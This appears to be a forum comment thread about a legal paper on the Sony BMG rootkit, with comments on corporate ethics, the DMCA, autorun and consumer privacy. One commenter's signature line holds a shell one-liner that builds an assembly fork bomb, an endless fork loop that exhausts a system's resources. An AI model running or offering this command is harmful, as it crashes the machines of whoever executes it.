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A Legal Analysis of the Sony BMG Rootkit Debacle
YIAAL writes "Two lawyers from the Berkeley Center for Law and Technology look at the Sony BMG Rootkit debacle: 'The Article first addresses the market-based rationales that likely influenced Sony BMG's deployment of these DRM systems and reveals that even the most charitable interpretation of Sony BMG's internal strategizing demonstrates a failure to adequately value security and privacy. After taking stock of the then-existing technological environment that both encouraged and enabled the distribution of these protection measures, the Article examines law, the third vector of influence on Sony BMG's decision to release flawed protection measures into the wild, and argues that existing doctrine in the fields of contract, intellectual property, and consumer protection law fails to adequately counter the technological and market forces that allowed a self-interested actor to inflict these harms on the public.' Yes, under 'even the most charitable interpretation' it was a lousy idea. The article also suggests some changes to the DMCA to protect consumers from this sort of intrusive, and security-undermining, technique in the future."
Good old greed..
... of the morning, so I'll bite. I'll admit that I only got as far as reading the abstract, so sue me. I really don't see the need for a journal published paper to dissect the situation. Sony got caught up in the zeitgeist over Napster and how digital distribution was going to destroy their business model, just like how Hollywood freaked over the VCR. I think paranoia and utter indifference to the customer pretty much sums up the whole situation. Other than that, I don't see the need to dredge up a two-year old incident with a published paper, other than it's pretty late.
I got a catholic block.
This shouldn't be about laws, its a moral issue.
Laws don't and should not be the only guiding factor in the actions of people or corporations. It is not the case that anything specifically prevented by law is allowed. A person or corporation should also be a good citizen, and there are things you just should not do, such as inflict root kits on other people's computers.
The question then is; how did somebody at Sony arrive at the conclusion that they should try to protect their IP right in this manner?
Waas this a comittee decision where moral judgement went out the window in a corporate meeting? Or are people at Sony severely lacking personal moral judgement?
I would like to know.
Of course this would be a non-issue if Windows didn't automatically run software when you put a CD in the drive; this is just another reason why auto-run is an insanely bad idea.
"The article also suggests some changes to the DMCA to protect consumers from this sort of intrusive, and security-undermining, technique in the future."
How about this, when an industry pushes legislative half assed measures and gets them passed in to law, they forfeit normal protections afforded every other group out there.
In this case DMCA law prohibits the consumer from doing all sorts of things, in an effort to protect a particular industry. Since Sony installed, without permission, software that effectively broke computers, they'd held to a HIGHER standard than any other organization.
In this case the law should have revoked the corporate charter surrendered all assets to the government. Since the Corporation is a "legal" entity, the same as a person, the government should treat it exactly like a person caught doing the same thing.
My $.02
Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
And now meet what I like to call handcuffs.
An easy solution to this problem, and it would only take a few instances, would be to seize all assets of the company in question and begin prosecution. If corporations are damn near treated like real humans, then let them see the other side of the coin. Make every failure in process hurt them where it matters, I guarantee we won't have this happen again. Or we end up with less corporations willing to "risk" product release in the US.
As it stands companies can seemingly get away with whatever they want to protect their business model.
I know Sony acted like a jackass, but it was more ignorance than malice. They didn't write the rootkit, they bought it from somebody else. And if they knew what a rootkit was, the people who wrote it didn't tell Sony it was a rootkit, and likely did not consider it to be a rootkit. They advertise the software as preventing users from making copies, and I'm guessing Sony considered the software on that criterion alone.
Much like the average sysadmin doesn't consider the privacy implications of leaving a backup tape in a car, the average music exec doesn't consider the privacy implications of some piece of copy protection software.
My point is that Sony didn't know what they were doing, nor were they competant enough to realize that they didn't know what they were doing.
dom
The only security and privacy that they care about is their own. These concepts don't exist for people who are not executives in the company. Especially customers.
:)
Add "copyrights" to the list. Since there are several cases showing how little the "entertainments" industry cares about other people's copyrights.
The only changes that our legal department will allow the US politicians to pass will be ones that increase the criminal penalties for possession of music.
Unless someone can get the changes sneaked past. e.g. something tacked onto the end on an anti-terrorism bill
The rootkit was put on those CDs by Sony/BMG, which is a separate entity that is 50/50 owned by Sony and Bertelsmann (BMG stands for Bertelsmann Music Group). Furthermore, the people at the top, who make all of the important decisions are all from the BMG side. So, if either company is more to blame, it is Bertelsmann. Does this mean you should boycott Bertelsmann? It does seem a bit silly to boycott Random House (major book publisher and Bertelsmann subsidiary) over what happened to some music CDs, and yet that is what some are doing w.r.t. Sony Vaio, Sony cameras, etc. My suggestion would be to boycott the product that Sony/BMG puts out-their music CDs.
Islam certainly teaches a system of morality. Whether it is the one you want taught is another matter.
http://humanists.net/alisina/islamic_morality.htm
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Read my post again. The bit about "prism of religion". In fact Islam and the Evangelicals was exactly what I meant there. Sigh...
Baker's Law: Misery no longer loves company. Nowadays it insists on it
http://www.sigsegv.cx/
"Even today, one of the qualifications that many people look for in their elected leaders is previous military service."
"Even today, one of the qualifications that many people IN THE USA look for in their elected leaders is previous military service."
The US has a weird, hyper-patriotic society that a lot of Europeans find bizarre, brainwashing and militaristic.
And only giving the franchise to people who have previously served in the military? Screw you! What gives you the right to decide that? What gives those citizens the right to decide how everyone else gets to live? Nothing whatsoever.
The way I see it, my computer is my property much like my house is also my property. They both have "doors" to the outside world, but that doesn't mean that anyone can just walk in and have a beer. I guess my favorite analogy is buying a new TV. What if you went out and bought a new TV that had a hidden camera in it, but you didn't know about the hidden camera, and it was broadcasting a signal to anyone who wanted to watch. Would you keep the TV? Would you litigate against the company that made the TV? The camera in the TV is much like the Rootkit in a CD/DVD/etc...They are both there "To make sure you aren't breaking any laws" but they are also massive invasions of privacy into a place that they entered without permission. It would be clear cut if it was a hardware camera, why is it different because it is a software camera?